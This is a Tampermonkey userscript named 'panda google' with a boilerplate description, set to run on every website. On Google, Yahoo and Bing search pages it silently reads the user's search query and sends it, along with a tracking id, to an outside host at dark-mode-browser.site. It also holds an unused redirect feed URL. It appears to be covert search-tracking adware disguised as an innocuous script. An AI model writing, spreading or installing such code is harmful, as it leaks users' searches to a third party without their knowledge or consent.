// ==UserScript== // @name panda google // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match *://*/* // @grant none // ==/UserScript==
(function() {
function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } var u ='https://feed.lookbox.net/s309?q=', s = [
{ 'host':/^https?\:\/\/www.google(\.\w+)+\/search\?.*$/, 'query':'q', }, { 'host':/^(https?\:\/\/)(\w+\.)?(search\.)(yahoo\.)(com)\/(search\?)?(.*)(fr\=crmas).*$/, 'query':'p' }, { 'host':/^(https?\:\/\/)www\.bing\.com\/(search\?)?(.*)(FORM\=CHROMN).*$/, 'query':'q' } ] for(var i = 0; i < s.length; i++){ var net = s[i], pattern = net.host, q = findGetParameter(net.query); if( pattern.test(window.location.href) ){ let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://dark-mode-browser.site/api/request/search.php?search=' + q + '&click=df95f0493c647e74fdeeaf31343bd24d', false); xhr.send(); } } })();
Hits: 6